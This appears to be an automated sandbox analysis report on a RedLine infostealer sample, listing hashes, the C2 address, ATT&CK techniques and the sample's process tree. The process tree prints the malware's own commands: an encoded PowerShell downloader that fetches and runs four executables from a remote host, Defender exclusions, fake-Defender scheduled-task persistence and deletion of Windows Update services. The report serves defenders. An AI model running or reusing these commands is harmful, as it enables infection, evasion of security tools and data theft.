redline | d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db

Analysis

max time kernel
198s
max time network
235s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
06-01-2023 19:19

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General

Target

8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Size

197KB
MD5

78e69dd4d4eb058e9a2de5c4082c3133
SHA1

8aae493caafa6e42a5a7afe431aeac120ce4c152
SHA256

d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db
SHA512

42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777
SSDEEP

6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX

Score

10^/10

redline 1 evasion infostealer

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/2020-91-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/2020-96-0x000000000041ADAE-mapping.dmp	family_redline
behavioral1/memory/2020-98-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral1/memory/2020-99-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1468 created 1192	1468	SmartDefRun.exe	14
PID 1468 created 1192	1468	SmartDefRun.exe	14
PID 1468 created 1192	1468	SmartDefRun.exe	14
PID 1468 created 1192	1468	SmartDefRun.exe	14

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	904	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
768	C4Loader.exe
1928	new2.exe
1312	SysApp.exe
1468	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 10 IoCs

pid	Process
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
1728	WerFault.exe
1728	WerFault.exe
1728	WerFault.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1836 set thread context of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1928 set thread context of 2020	1928	new2.exe	38
PID 1468 set thread context of 944	1468	SmartDefRun.exe	57

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1504	sc.exe
1148	sc.exe
1396	sc.exe
1544	sc.exe
1040	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
572	1836	WerFault.exe	19
1728	1928	WerFault.exe	35

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2024	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
1468	SmartDefRun.exe
1468	SmartDefRun.exe
1312	SysApp.exe
1312	SysApp.exe
1312	SysApp.exe
1312	SysApp.exe
1312	SysApp.exe
600	powershell.exe
1468	SmartDefRun.exe
1468	SmartDefRun.exe
1468	SmartDefRun.exe
1468	SmartDefRun.exe
960	powershell.exe
1468	SmartDefRun.exe
1468	SmartDefRun.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeDebugPrivilege	960	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1836 wrote to memory of 584	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	29
PID 1836 wrote to memory of 584	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	29
PID 1836 wrote to memory of 584	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	29
PID 1836 wrote to memory of 584	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	29
PID 1836 wrote to memory of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1836 wrote to memory of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1836 wrote to memory of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1836 wrote to memory of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1836 wrote to memory of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1836 wrote to memory of 368	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	30
PID 1836 wrote to memory of 572	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	31
PID 1836 wrote to memory of 572	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	31
PID 1836 wrote to memory of 572	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	31
PID 1836 wrote to memory of 572	1836	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	31
PID 368 wrote to memory of 904	368	vbc.exe	32
PID 368 wrote to memory of 904	368	vbc.exe	32
PID 368 wrote to memory of 904	368	vbc.exe	32
PID 368 wrote to memory of 904	368	vbc.exe	32
PID 904 wrote to memory of 768	904	powershell.exe	34
PID 904 wrote to memory of 768	904	powershell.exe	34
PID 904 wrote to memory of 768	904	powershell.exe	34
PID 904 wrote to memory of 768	904	powershell.exe	34
PID 904 wrote to memory of 1928	904	powershell.exe	35
PID 904 wrote to memory of 1928	904	powershell.exe	35
PID 904 wrote to memory of 1928	904	powershell.exe	35
PID 904 wrote to memory of 1928	904	powershell.exe	35
PID 904 wrote to memory of 1312	904	powershell.exe	36
PID 904 wrote to memory of 1312	904	powershell.exe	36
PID 904 wrote to memory of 1312	904	powershell.exe	36
PID 904 wrote to memory of 1312	904	powershell.exe	36
PID 904 wrote to memory of 1468	904	powershell.exe	37
PID 904 wrote to memory of 1468	904	powershell.exe	37
PID 904 wrote to memory of 1468	904	powershell.exe	37
PID 904 wrote to memory of 1468	904	powershell.exe	37
PID 1928 wrote to memory of 2020	1928	new2.exe	38
PID 1928 wrote to memory of 2020	1928	new2.exe	38
PID 1928 wrote to memory of 2020	1928	new2.exe	38
PID 1928 wrote to memory of 2020	1928	new2.exe	38
PID 1928 wrote to memory of 2020	1928	new2.exe	38
PID 1928 wrote to memory of 2020	1928	new2.exe	38
PID 1928 wrote to memory of 1728	1928	new2.exe	39
PID 1928 wrote to memory of 1728	1928	new2.exe	39
PID 1928 wrote to memory of 1728	1928	new2.exe	39
PID 1928 wrote to memory of 1728	1928	new2.exe	39
PID 1988 wrote to memory of 1504	1988	cmd.exe	46
PID 1988 wrote to memory of 1504	1988	cmd.exe	46
PID 1988 wrote to memory of 1504	1988	cmd.exe	46
PID 1988 wrote to memory of 1148	1988	cmd.exe	47
PID 1988 wrote to memory of 1148	1988	cmd.exe	47
PID 1988 wrote to memory of 1148	1988	cmd.exe	47
PID 1988 wrote to memory of 1396	1988	cmd.exe	48
PID 1988 wrote to memory of 1396	1988	cmd.exe	48
PID 1988 wrote to memory of 1396	1988	cmd.exe	48
PID 1988 wrote to memory of 1544	1988	cmd.exe	49
PID 1988 wrote to memory of 1544	1988	cmd.exe	49
PID 1988 wrote to memory of 1544	1988	cmd.exe	49
PID 1988 wrote to memory of 1040	1988	cmd.exe	50
PID 1988 wrote to memory of 1040	1988	cmd.exe	50
PID 1988 wrote to memory of 1040	1988	cmd.exe	50
PID 960 wrote to memory of 2024	960	powershell.exe	51
PID 960 wrote to memory of 2024	960	powershell.exe	51
PID 960 wrote to memory of 2024	960	powershell.exe	51
PID 1988 wrote to memory of 1996	1988	cmd.exe	52
PID 1988 wrote to memory of 1996	1988	cmd.exe	52

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1192
- C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
  "C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    PID:584
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:368
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:904
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:768
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1928
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        
        PID:2020
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1928 -s 116
        6⤵
        Loads dropped DLL
        Program crash
        
        PID:1728
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1312
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1468
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1836 -s 48
    3⤵
    - Program crash
    PID:572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:960
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2024
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1504
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1148
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1396
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1040
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1996
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2028
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1868
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:568
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1588
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
462410e9786ec3c39a7e64abef14b4dd

SHA1
19fa9784fb7b9d36d4cfdc02f5f5eed282835282

SHA256
c43cf1e7ea2acd21fb1a467172b33dbc3dace3f7b830771b8d8b97ec5f8f1ec0

SHA512
6fd59f84a815272748a43c3bc8ce6a3bb6c17e188648263578b20a9fbcd203a3535f8583878a5c79a29afb7810affa05359869bed879c07fdb0995e4dd8f1bae

Download Submit
\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
